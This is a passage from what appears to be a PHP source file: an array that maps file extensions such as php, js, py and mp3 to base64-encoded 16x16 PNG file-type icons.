"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGpSURBVDiNlZK/a1NRFMc/7/Y0DxpLtA8bnIyCg2D8C5SKKJT+AWInJy04ONk/QKgiUhAHBWfBSXQoLi5icMsir8HhPdAg4kt0Kraa3HvfvQ7a2DYvqR44yznfH+ece4Nms3nRWrvqnDvNf4RSKhaRm0Gj0YhrtVq9Wq2ilPonsnOObrdLu91eF611PYoitNb7MzufYfYIqAmiKCJJkrrK85w8z/HeF6b71sHcWKR/5ij9Cyfxm9/x3rPNE2st3vtCQ//pA/0rC/iv2aAmHoI/eGstyhgz0r334DY6y7DTM0zceUz4JoED04O+MQbZHn/oUB9Tfq49BwfllYfI+fnfU+3Ajl1h69F9rHEAbFxdJCiFzLzPdmGstcUCrpOx+eIZ5H9rQc4QrljAezburWB7Bjl2nMOv3hKUSkPjFwr0Gq/ZevqEHy/XADh06y5MTo58pSGBL5cvDZqVpeuEZ8+NJBcK+GiW8FSdg9eWmJqbG0veJWCMQUSovYt3nGJ/srUWJSJJHMdorUd+qL2ptSaOY0QkkXK5vJym6Wqr1Tox1nJPhGGYViqV5V9br0lw1NP/5QAAAABJRU5ErkJggg==", "php" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJySURBVDiNlZNPSFRRFMZ/vrnDOI4m+lKzhCyoFqEQpRXVIigG2gQuooWbNrWPWrSrlmEtgiAiIRBq47hIggaJYKboj6XMa9QaQ4aybBwb/8w8x7nvvndbDCYShR04i8PHdzjn+86pGB4ePqmU6vE8r53/CMMwLCHEpYpYLGa1tra2NTU1YRjGhsie55HJZEin0x+ElLLNNE2klP8zAKZpkkql2oTruriu+xuYydikvyySt0vYtiRvlyhJF8NncGj/VvbubgBglSeUUmitKdgOyYk55nLLTGdtfMLHrh0m33Kz5AuS0orDyINhqqv8XLxwmMbNIZRSCMdxsJcdEuNZMHwEa4IEC4qW5hpOn9zD6NgM8bdfWSqUOHpwB6UVSV//COfO7sdxHIhEIrp/MKEfD33SgAZ0OBzWr0en/1nf6X2uI5GINpRSTH9forjiADCb/Uk0GqVlyyYAfmTm19WreDAoUEphKKXILRZxPQ1AY4NJOBwm/W0BAMcrW6tZj3+e+lHWQCkFaBypAHg9Os1QfIr+J+P0DSS493CEvoEE76yZ3/hgNMFyfh6lXCp6e3v14SMnuH3/LZ0HdvJ+fJZ8ofSH7zXVATram4m/+kj2+xduXD3DyxfPyhNsrg9yvnsfN+/GsZdL+CurMIQfw+cHNK4jKSzM8WhslFAowPUrXdTXVa2toLVmW3MNt66dIvYmzdNnE+RyWYrFAp7nUVkZoL6umu6u4xzp2FnWROu1Bo7jIIQA4Fjndo51bv/rCWtdFlMpVXZBCJGyLAspJVrrDaWUEsuyEEKkRCgUujw5OdmTTCZ3beyNyhEIBCZra2sv/wIdNXwQeOKyCAAAAABJRU5ErkJggg==", "tar" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHqSURBVDiNlZE/a1NRGIefe3KSQqo0CbbGimgyxD8lpQr9BrpmCIigrk4ScFBw7Chox3yB4iJIh8Qv4aRELUUlSYcm6Q00TfHmnnPuyY1DJEOTSvvC4YUDv+f3wOtsvfj4wNrRO5xwlRkjpMOr988pFosAbG9v8/ZpmTBwalI6L6Xn+ZvpK5fz17PXiEg5DYgJoh+ilEolAKrVKnfX16jvNlc77YNNOfD9fCKe4mD3iFE4mgJE42NoMpmc/HV/90nEU9T9Zl4apTnueDPDAE50vMvlMrVaDYBAB3iHAUZphFIK5Wm0b2a+ILAASCnZ2NgYAwKL8jRKKaRWCqP0zHaAWBABoFAoUKlUABgG43atFELr2c0nDSqVCoVCYWKgfYPWBqm1wShzqoG1dsrAWotR/wChGKL/A1ADTW5xZdKeW1xBDTRaGUIxRIYRCxHQf2ZDevt9Ht9+RvTe+JyBb+nt9xFSEEYssjtw3fWbc0vLyaVTLU7OwtWLHPf6dL+4rmylm/z4uVM3RzZ7ZgIQS8h6K928IF3rsffwWza1kDpPnnb/MOt+8lwpvNzo+9d2wxt9zpwHMO9kG8LLxaUyMbXcv5+5lbmDEJEzhcNwSKexk2mZX3vOpbUnj0bGexOG+sZ5DISYazqx+dd/AeApGyDxL7TZAAAAAElFTkSuQmCC", "rb" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAKKSURBVDiNlZNLa5NbFIafvbNz0YTGkNpYLBovraDWiSAqgqJ4OBwngnCmIlRw5KVYKKIDEUWw6kDxBwhOHQiCOFDIRDQIxxjUJgVbDo2m1WpsLs23v/0tB9VC6aSu8fs8rHfBUvl8/rDv+yNBEOzgD0ZrXTDGnFe5XK6QzWb7M5kMWutlwUEQUK1WGR8ff2s8z+tPp9N4nrcopESoPXyAe/uajgN/MXbvLp/GynxuWXZeu8GWY/9SKpX6jXMO59wi2K/8z7szA7T/e8nKkGbuQ5HUidO8HzyN32zx4vYIm48ewzmH8X0fEVmAZ5494c3ZAWjUCQkgAZ0b+pgdGWbj+gyjdaFhDCKC7/toay0igohgqxXy5wZoN+v4gFNgE0lWHjxCZaLKl9ESHbUpVkRj83lrMc65+Q1EyJ07RatRJwygAIGt1+9QevKYr1ZoW8esVyNkxxERnHPo3xVmnj/lQy7HrA8WcED2+ElU/hHxoEHD+ngoAq3pXrt+ocLCDRIatnSmGP3yjdjqLvZeuMznG9cof/+OpNJ4StNWISIYYun0UkE0lWT3xSv0Tk+T3Lmb/NBZTGsOaTaRZpNw91pUAG5qklR3Zqngzc1bbNqzjfT0BJP3i8yOlbAKvBVxYp2dhLyA5swnlFasyqxeKqgUi8xNVVnnz1DVa7AIgsK1WvyYrLBOQojR1LBEOxJLBSqRoPJxAhId1L6+J0Boo4mJYqOJkIiG6YuFeTfXoC1uscBaS+/gMK+uXqLRk0UrRaQeJhwJY6IRfqRWobu6iPT0sGtzL6F9+7HWzguMMaVCodC3/dBhjv79z7KeyVpLoVDAGFMy8Xh8qFwujxSLxd5l0b8mGo2Wk8nk0E8I/36fE9VC/wAAAABJRU5ErkJggg==", "mp3" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGnSURBVDiNpZBPaxNRFMXPjFcSGtrQDiYNUgxKN0LqZ2hApAs/Ql1ZN3Vp6Kbgxp3duPAbFLor0m132XQRKvUZUGegBq2EYBU78wIz789cFyXSOtPQ0gMPHpdzf/fc63Q6nYfGmI00TRdwBbmuK4johdNut0W9Xm9Uq1W4rnup5jRNMRgM0Ov1PpJSquF5HpRSVwkAz/Pg+36DrLWw1mYMYcI4OrH4+lMh6Mf49G0IcRhh79V9AMCoj4wxYOYM4Nn2H8gwQRTGkGECGZ3+z3qNMSCtdS5Ahgnqk4zbtSLmpku4d6uAR+sfznm11iBrbS4gCmO8eTqXqZ/1jl1BhkluPbPChYDomoDRwQ4Oh3i++QPfTwzgOuMBn/sJ1t4dw+/HkFKBmdHaOsIXZwKYcVDNAbgjADPj5c4x3g9v4FexiEptEsyMxw+mMBVK3Ikl3j6p/fMyczbB4t2b2N/9jdmig9fLs2BmrC5VsLpUGX8DrTWICCtNDytNL9f8v4wxpysQkS+EgFLqXLxxTykFIQSIyKdSqdQKgmCj2+3OXzguR4VCISiXy62/DsFP85AcHBcAAAAASUVORK5CYII=", "ttf" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIHSURBVDiNlZJBaBNBFIb/newmxRRT3EqqobhRDCiJB+vBUxHBgxavevLgwbuCBcGexUNPlZ5EpCAIhXiViiJEbQIpttRFya5mkyZE0iSVom3dnTe7HlIDWzdQf5jL+9//DW/mScVi8RIRTbuuewb/IcbYqizLd6VcLreqaVomHo+DMbavsOu6aDabqFQqn2THcTKqqsJxnMBmIVzcf7QAAHh4+3KvrqoqDMPIyEIICCH63rawaKCxvglJAnZsjoGwvAvu5hgRwfO8wLP5cwev8yWcO50A54RqY8PnExEY57wv4PnLZUyMn0JKGwaRQLnW8fmcczAhRGDYqndQqXcwPnYcx44MQQiBcq3t6xFCQP47wl49yRZw4+oYAA+jI13At7WWr5eIggEfli0MHRxASjsMz/MQVkIYUQdh1dsgEgiFWH+AwwlPs4uYuJBGbulrr67IEn7bDqrfN5BMqP0B2VcrODE6jK1tG1vbdq8+eCDcHaPagnb0UDCg/eMX3hZKmJm6hrAS8o318XMNhRULZnUdF8+nggGP59/j+pWzUGT2z7skEyqICIbV7HlE1F2ktUYbN+/N4U3+C+Ze5FGutXzf9W7JxJ0H8xBCQDfquDX1DLbtgIggzc7OlpLJZCqdTkNRlOB93iPOOXRdh2VZhhyNRidN05zWdf3kvtK7ikQiZiwWm/wDf6N/hwnofhAAAAAASUVORK5CYII=", "jpg" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIcSURBVDiNlZJNTlNhGIWf9+v9bi8FqnANjVHToCE6ANbgxGUYN8EiTGQJrsC4AgdOGOgABkCjicVII1qr/LS0vbf9fh1gwszQd36enPOeI7u7u8+MMdsxxk1mOBE5SNN0S3Z2dg6azeZGo9FAKXUjcQiBXq9Hp9M5TIwxG3meY4yZxQB5ntNutzcS5xzv9g95/votsVYhaoVMPTJ2SBmQSUAmEWVALIgXAN68eoFzjsQ5R3cwYPl+E5nXBC1MLwvi0JBahSojYWShDIgVlFeIwFl/zLxyJNZaVK1G404DVdUEAk47wnyAiUcM6GmkPC9JKxlZrYZSglRTbGGvHFSU5unjR3y6GLOgFRdjQ6xFcIJYoWYD7rYnRE1taZEs04j2VxG89yhV4ecQ1u+tcNIfczeZp55ozieRlVRzfDxgablKVCmrj5aIaQLSxXuPcs5BgBgjE+tQUVitz/HroqQYTOn1CvIsJUOhBUZDQ7c3Rny8fqLygcuzEeNRSXCBD51z/NTjho5CKnQLjy0cWX2O3u8qIkK4lV0DEufon5xSSROCD5ixYTIo8YVFoQg2XpV/BhWdXAE2Hl4DqlPLny8/ULpC9AFTTHCl+++QnH1wDWjkdU6/fZ1piSv5Iv3uvxY2nzT5/v7lTIDhcMjn/Y8kSqn23t7e2vr6OlrrG4mttbRaLZRS7WRhYWHr6Ohou9Vqrc3iIMuydr1e3/oLlTAupOJParwAAAAASUVORK5CYII=", "css" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHNSURBVDiNlZK9bhNBFEaPZ2e8axvbImtpgcpCIkIiToOgoqXlAWiQeAAaSB16/AC8Bq/g1lUWV+vGrVG0koOw1zt/FAOJrITE3G6k+c7cc+80ptPpa2PM2Dl3zH+UECKXUn5qTCaTfDgcjrIsQwixV9g5x3K5ZLFYfJd1XY/SNKUYv8f8LAGQ3QOGH77eCknTlKIoRtJai7WWh65EdRsAaFfivb8V8DcnjTF471HO4rdbAJSK7wQAGGOQWmu894jHzxH1BgDfbOH2AGitkdZavPcU0RTNeeggGlCefmN7sQYg7rV58fnNjRqXCll7ifwzA2OXdMwBzW4GQG30jUrGmCuAEGBNUBBRgnQCW9UAyGZ0N0ANXoENLRO1aT1N8VsLQCPeA3D6Q7OqfgHQTxRnasW5DlsZqJjD8Rmri3Du92K+fDzeBVQP1rRVAkCl15TlI6J7CoDSaDa0SO43AdjYGu/9LsBElrUJCs0oRhqoqvBiIgXOSzaboBQruQvQWvOsc8SWKlwgoZclrHXwbqsGWSOm0sE9UeEPGGOQUsoiz/PDt0fvUEpdTejltZldltaaPJ8hpSxkp9M5mc/n49ls9uTfkesVx/G83++f/AbgZRYV7aahUwAAAABJRU5ErkJggg==", "html" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJ/SURBVDiNlZM9b1RXEIafe+65d9d79wP7rr1oMeCAsOTEjpBQKBBJlygSTZQ+HT8B/gUVok2RPp0lJIjSWJFSGCS02aBk14XBCWZtgyzb7OJ7zpmh2NgUTgFTz/vMzDsz0erq6tfe+zsi8jkfEcaYjrX2VrSystKZm5tbarVaGGM+SCwiDAYD1tfX/7BFUSzleU5RFAAo8PDxvzzfGbLx6oDzMzXO5Bl5NeWLS/kxJM9zer3ekg0hEEIA4OXuiJ9/e0atWuaT9ilazSrtqYwgyu9/Dbj/6Dk3v5mnPVXhSGe896gqIsK95afEScKhE2abGQuzk9QnEja29zEmwmO4u/wnzgdUFe89xjmHqvLjw7+RaOzB1fkZUhuTWIOoosBktUR9IsXElp9+7aOqOOcwIYxpG6+GnJup8+Vnp2lkKTY2JLGh8MJgd4iIciavUC4lrG8doKqEELBHI8TGcHV+hnJqMSYiNhE2NjzdeE3hhM23b1BV8lqZYazvRzgCnJ2usb33lkdrW+wNi2O3s1KCicbb8aKMCk/rVOUkYCIxqAhrL/b45ck/PNvaxwfh8oUm31+7SKOSIgKT1ZQkjk4CpuspO7vjNkeHnsdrO7ggBFF8EKrlBBFlNDpkup6eBFxfaHLoHM1qig9Ke6qC84Lzgg8CwN7+kDSG6wvNkwBV5dvLp3mxvcvm1mtmpyu4ILgg7A8LDt6MqJUNN660j/O99+MtOOew1jKZJdz67lMePNmk09+kcOPKaWKYnZrgh6/Ojs/9P7H3Hmut7XU6nfnFxUWSJMHGETeutP/3iVQVAOcc3W4Xa23PZll2u9/v3+l2u5c+7JHHUSqV+o1G4/Y7VN2AN07a1GsAAAAASUVORK5CYII=", "txt" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFMSURBVDiNlZA9isJAFMd/hgcWFhZRJFNoLLZ0a7XfStDLrLfwMAqewEILu6xV0lgpgieYj2SbTdhs4qIPhhmG/+drHI/HD2vtKk3Td14Yz/MiEfls7Ha7KAzDUa/Xw/O8p8hpmnK73Tifz1+itR75vo/W+pUA+L5PHMcjcc7hnHuJDJDzxFpLlmUArNdrut1uAVJKcblcSm+lFMPhEABrLWKMKQQWi0XFKQzDyjvHG2MQ51zxsdlsAIoUSimAwjlPM51OixqlCvP5vLbvYDAo3TneWlsW2O/3JadHu8irVAQmk0nJqS7FvwkOh0OJdL/fAeh0OgAEQQDwOMF4PK7dwd95mGC73VbcrtcrQRDU1ioEjDGICLPZrALq9/sl199kay2eiMRRFKG1Jsuyp47WmiiKEJFYWq3WMkmS1el0entqAT/TbDaTdru9/AbO//fVB3FwJQAAAABJRU5ErkJggg==", "cpp" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGnSURBVDiNlVIxSxxBGH0zfncrd5oDN3AEUhwJZyFcTBPShqC1IvgLhOQPxN42YJFKQjoLsZBUKZIiaRZSLZFkPDHuNmfnFRdOPIw3881Mqj1Z16D3wWvefO/xvceIOI4XmXnTOfcEY4yUUhHRGxFFkWo0Gq16vQ4p5Z3Ezjl0u110Op0D0lq3wjCE1nqcAxCGIZIkaZG1FtbascQAkOmImeG9zz3+Sob4Fl+g22OUSGDuURnLL6ZQmcxHZGZIYwy89yP8OLrE+499BCVgdWEKi88r2P89xNZeP7fnvYcxBmStzV3w+fsA0xWB1ys1ZJ0+uD+Bs4GFcx5C5GMUIpycajydDSCER0Y/fkgACMAVl0UoGDAD2vhCLzcNM0NmBhnqMxIqHcKwG3E/jy+x9/Uc2rjc7o0GKy+rOO0ZbHzoIdq/wKdogLfbfxAf/sWERMGgEGG+WcbGqxnsfDnHu90+yiWBZ3MB1pbu3a2DzGS+GRYyX98bGRhjQES3lnZdzMyQRJQopaC1LnyU/0FrDaUUiCiharW6nqbpZrvdbo5zQRAEaa1WW/8HGgtKKBMv8f4AAAAASUVORK5CYII=", "h" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFkSURBVDiNlZIxbttAEEUfV+OoUKGChVohQAA38hnSuHbnO7iPD5DeB8hBcgKVkd3QQmRQgKHKgNwZSEEuZ3ZSMLIpUwmiD0yxmP2D/+dPtlgszlX1JqV0xhEIIRQi8iWbz+fFdDqdTSYTQgj/RU4psd1u2Ww29xJjnOV5TozxGAHkeU5ZljMxM8zsKDLAjhdUFXffK0oYXA7gB71et1QVaZqmJXWh4L8cV+/3OmiaBjGz/qcE1ICBN072nOETh0HfhuwsvB/gtcMtyFeBCvyjo98UPnSEqh7egSdvFTxB/B6xKyNbZWR3WX8HBxVYq8A+Gx4cmxmhDvjL/k56CngAr/x1Bx46ydTg1k9hb8DJxQk8gifHa38j7N56IMauhepn9eZi9ee4HPzUqVbV67trQVS1zVPkr3kfgqq2FkSkLIqCGOM/r65bMUaKokBEShmNRtfr9fpmuVx+OkbBcDhcj8fj698AUnPo+XFYhgAAAABJRU5ErkJggg==", "java" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIPSURBVDiNlZPPaxNBGIafncxumsa0lqUGxGAUrCKpgiIBrYKCFDz0Us/+BfUi9uJd6KHqQQ/qP+DFiwURepHGg0IO2jTQmoiWYrUpUvs76czsrIfQQNttwRfmMDPv+/B93zBOsVi8aYwZtdae4z8khChJKe87hUKhlM1me9PpNEKIaHPhGfbaUGtvraVWqzE7OzsllVK9vu+jlIoMO6u/8Ra/stVo7Dj3fZ9KpdIrgiAgCALCMNyz2Fii7d0D9MU7iJ+fd9xt54QxJjr8d47E2F10Jo/34QnOyvwejzEGqbVuBnaprfgSdeI63vQY9f6HBOmzsMuntUbsV34YS2APHSFM+YjF6UjPgS1s9t1DfpvA+KcRS9+bVW5t7G1hG7Ct+JdXeDPj6MwldCaPO/cJm+zGm3xNbKGEWFtgffAFQDRAZ/LE5ichUDiNZdTxyxBPoU5eJS4EXnW85Y8EmK4s5tgFvJm3OFYRugmC1FHY+ANBg9WBp61hRgLEeg3rdSDWauC6OPVlwjDG1pUbhInDTdN+gI43Q8hfU6gz/dRzgyBcsBYn2CT5fgRH1VHZPhrnb+8EaK2RUrJ66xGxpR+0f3xOW3UCJ7SETgxCS9jeRZDqxvjZ1gsYY5BSykqpVOrJ5XK4rovt7mFl4HHkv2gNWinK5TJSyopMJpPD1Wp1tFwunzowtUvxeLza2dk5/A8rQ4uu8K0RngAAAABJRU5ErkJggg==", "js" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGZSURBVDiNlZKxa1NRFMZ/93IhlhQjfUKQog2COEWnKDgK3aKj6OBf4OJg/4FOgtl0sLgJWXUXRIgFh1CQZ1xeBoNQIeKg4uJ9557jUKt9pkZz4Gzf9zvnu+e64XC4LiI9VT3HAuW9z0MId9xgMMhbrVa72Wzivf8vs6oynU6ZTCZvQoyxnWUZMcZFFiDLMoqiaIeUEimlhcwA+74gIpjZwgAAEcGXZYmZ/e6v7/Fbq/BpBLvbuKdX8I9a+P4F+Pi6oi3LkpBSqm5gYNFharhXPWz5JOn6Fu7zO6y2Age0h0dQ+wkAlk7hime4mLCzV7ETnQpARPD7gF+thn3f2yCt3yNdvouVDvfkFuw8rmgPBxho9KgCO3302GnSpdtoOI59+zIDmIngdt9iegQ7ugof+rjnD0AFXetg56/NRKgA/Iv7uJcPsc4NrLaMdTehu1m93TyAtrvYxZuw1KgI5/2DICJ79wwBW1mbmTLPLCL4EEKR5zkxxj8e8+8dYyTPc0IIRajX6xvj8bg3Go3O/HPsgarVauNGo7HxAwJPUB9huYnSAAAAAElFTkSuQmCC", "py" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJkSURBVDiNlZO9a1NRHIafe+65uflo2tigKVgxUq0gbUUcREQ3cfALHN0EK66CHVzcXMTJ2X/Af8DJwVYqQqWWNFSbKNaKH63VmCa9yT3n3HscNBeli77z8z783uHnzM3NnTbG3IvjeIL/iBCiIqW86czMzFTK5fJ4qVRCCPFP5TiOWVtbY2VlZVEqpcaLxSJKqQR49PwVzxbf4gqBUhqtFdcunmR071DCFItFarXauIiiiCiKsNZiraXRCpivf+bUkYNk8gUcv4/1AO4/fJww1lp6PWmMwVoLQLPdYW7pHZtByHRllVani47gR6CxTifhejHGILXWWGt58vINs6+/0OxEbHZjgkaTTjdEOR6trqE/FRK+uA64iNEbyPwIWmtE7/zpxVUqGw5LGxEfWoKvyqNFFhUJsukMGbYoFPawM1wgrN5NZiQTgtCg4gyu9PBcS9T4hI/CcyDrhlwafY8XZSBSEDWw1v6a0BNopcBxSPk+pcY8t868YyjXxuouKdcl7wtoLEMUEMdsF6SFxrcWwk0uT7zn0Ege2uugO6DasNUC3QXhEWqPzG+B6AmunjvOfucjO7of2NXXBrOMdbZotjb4sdWioX2+iTKrqowdOrv9guHSILcnLwCgl2Yh0wcyhacjYiNofFcEg1fonzhBxu/fLvgzOs5DLotjArLpAmvNo8TBU/p2H8NN5RM+EWitkVImAnd4klrlAdKzxFZi1AJix3nS6cJfZWMMUkpZq1Qqo2NjY3ieB4DM76P/8J1tT9Qra62pVqtIKWsyl8tN1ev1e9Vq9cA/veLv+L5fHxgYmPoJJsCGQPCg5+wAAAAASUVORK5CYII=", "diz" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAD9SURBVDiNzVCrjoRAEKyddIJAIEZgMSc5D34TFF9z+xf7NQgMDoHBzaHAYPmFmZ7hxIXN7oYhh7tOKun0o1JVl77vr8x8d8594kQJIRQRfV3atlVJkqRxHEMI8adn5xyWZcE8z9+ktU6llNBanxEAKSXGcUzJWgtr7alnANj+iJmxruvuUdd1AIA8z3f3zAwyxngJtrlvb4wBWWu9B1mWHRIcWqiq6tGXZem1IDaCdxRF8WJlD8zsV/A881n4HwTeDJqmeRzWdX2cgTEGRPTC/hzingpm/lVARKNSClprb9rv0FpDKQUiGikMw9s0TfdhGD52jXoqCIIpiqLbDyVJHq338QJuAAAAAElFTkSuQmCC", "cmd" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHiSURBVDiNlZK9a1NhFMZ/933P/Qgp6XDFki2LLjZFdKoEWpBY/4Vg/oNSFPuRbiKunaWEqhQRcZdOQrldHKJLkikB6dpF7VAJyfu+1yFfHXsPnOXA+Z3nPDxeq9WqGmMOnHMrZCilVFtEdryzs7N2qVQqLy0toZS60bJzjouLC87PzzsyHA7LcRwzHA6zCCCOY3q9XlmstdRqNZIkyQRYW1tjc3MTZYzJvAyQJAnGGNRoNJoNC4VCJshoNEJZa2eDTqdDo9GgUCjgeQqtNFoLon1E+2gtaKXxvLHZ1trxC9OqP6uzuvqIdrvDfmOfW/FtoiBHFE46yBEGOaIgIgwijDGIMQalNKKFH62f1Gt1tp5v0djfo1gs8vrVGzw8AFJS0jTFOYdL7RzgS4BooVKpsL3zkvJKmaPmO94fHRMFOZgAIMWlbgxw1wCiBRGf448f+PzpC9sv9rj8c4lSQhjk8LyJgul1Z7DXAQCihMfrG/z9fYmI4PshyfdvLCzkZx6tPlgfX7YaM7iaA6obVU6+nvDv1xVq4rxWmvv3HqKUnkV8Kt06y5On1Tng8PAtURRlysBgMKDZbCIi0js9Pb27vLyM7/s3DlC320VEepLP53f7/f5Bt9u9k0VBGIb9xcXF3f+O+N/4FuZWJwAAAABJRU5ErkJggg==", "xml" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHGSURBVDiNlZLPSlthEMV/98t3c4PBXJtbSCEg2RQkNN34DC5cuOgL+BT1LXwAX6R7CegmReE2tHAjKsQ/pCuDBsn3504XMTeNLaUZmMUMZ86cOUzQ6/V2nHOHeZ5/ZIVQSqVa689Bt9tNW61Wp9FooJT6r+E8zxmNRlxfX3/TxphOkiQYY1YRQJIkZFnW0d57vPcrDQPM57RzDhF5pVFABQAEE0NgPXmtUvTm4ZxDWWsRkSLLJ1eou3FRV758R/fvUXdjyidXS1hrLcp7XzSi7iXh+S2+vjZT9WzRP0aYdgNfXyM8vyXqXhZ47z1qfkJ0fEF4NuRxf5s8KiEihP17/NsqPq6QRyUe97cJz4ZExxeICM65hQfB0xQBpBQUnoRfh5jOu4VHpQCBGfaFoFAw2d3Cbm6wfnQKU0cwfkZnP5nOCaaO9aNT7OYGk92tPwlEhMleG9uMUTcPlHtDbKuOr5YREdTNA7YZM9lrF/ilE+bx9OkDgfWIVovtgGvWsK038Bv2rwQAohV5s/ZSSNHjFa4gsNaitV7pE51zMw+01lmaphhjlp7kX2mMIU1TtNaZrlarB4PB4LDf779fRUEURYM4jg9+AY0DZ4cpAUR4AAAAAElFTkSuQmCC", "avi" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJgSURBVDiNlZO9bhtHFIW/mZ2d3RVXJEs1hBMYCQtFhhYp1QgR8g58Cbmy38JurJcI8hCBmq0JxEVAG8gP1KiUREhczp2fFLMJbHe+7WDunHO+M+ri4uJn7/0bpdSLl9/8RdFU6MpS2BJVGgCSeIIT4t4Rdnve/f0tKaXfjTGvzG63e9v3/cnl5SU/Pj+ksBZdlejSoAqdF4RIFE/cC8E5fmifcXV19eLs7Oyt8d6frFYr7u7ueAjvsbWlqPLrSo8LYswq9oIbHB//dKxWK7z3J+r09DSt12vOz8/5mrm+vqbrOtTx8XGazWYAXJ38Q12XaGvRpYbRAiESJRKdYxiEy/fPALi/v0d77+n7HhHhcFJStzXNtKaZTTiYtxzMW5rZhGZaU7c1h5MSEaHve7z3GO89XdcBoKuSorYUTZ1pjBSieMJuP+YREBG6rsN7jxYR1us1IoIqCpQp0KWhqCxle0DZHlBUNlMxBaoo+PSO8d6zXC6z16RIMZFSIsWM7n8KKZFigpQQEZbLZVbgvWez2SAimbUIcXD4pwHZPiLbR/zTQBxcPhOPiLDZbHIGIQQWi0UOe1CgFMSEHi3lIoWcw94RBodIYrFYEELIFm5ubjg6OmL/lLCjdG2Kz4oUfSA6wQ2CiOL29pb5fI5q2zZZa7+qRP+Ncy4r2G63TKdTfltNqJsKbUt0WXzxF7KCYbfnp18eeXh4oGkaTAjhQ1VV32utmR3WuQO1RdsSZcYMRvlhcFRGIXJHVVWklD6YGOPrGOMbpdR3v/7xhLYeXRp0WX6hYKTkHM45Ukoftdav/wWP7nOnXPYUNgAAAABJRU5ErkJggg==", "xls" => 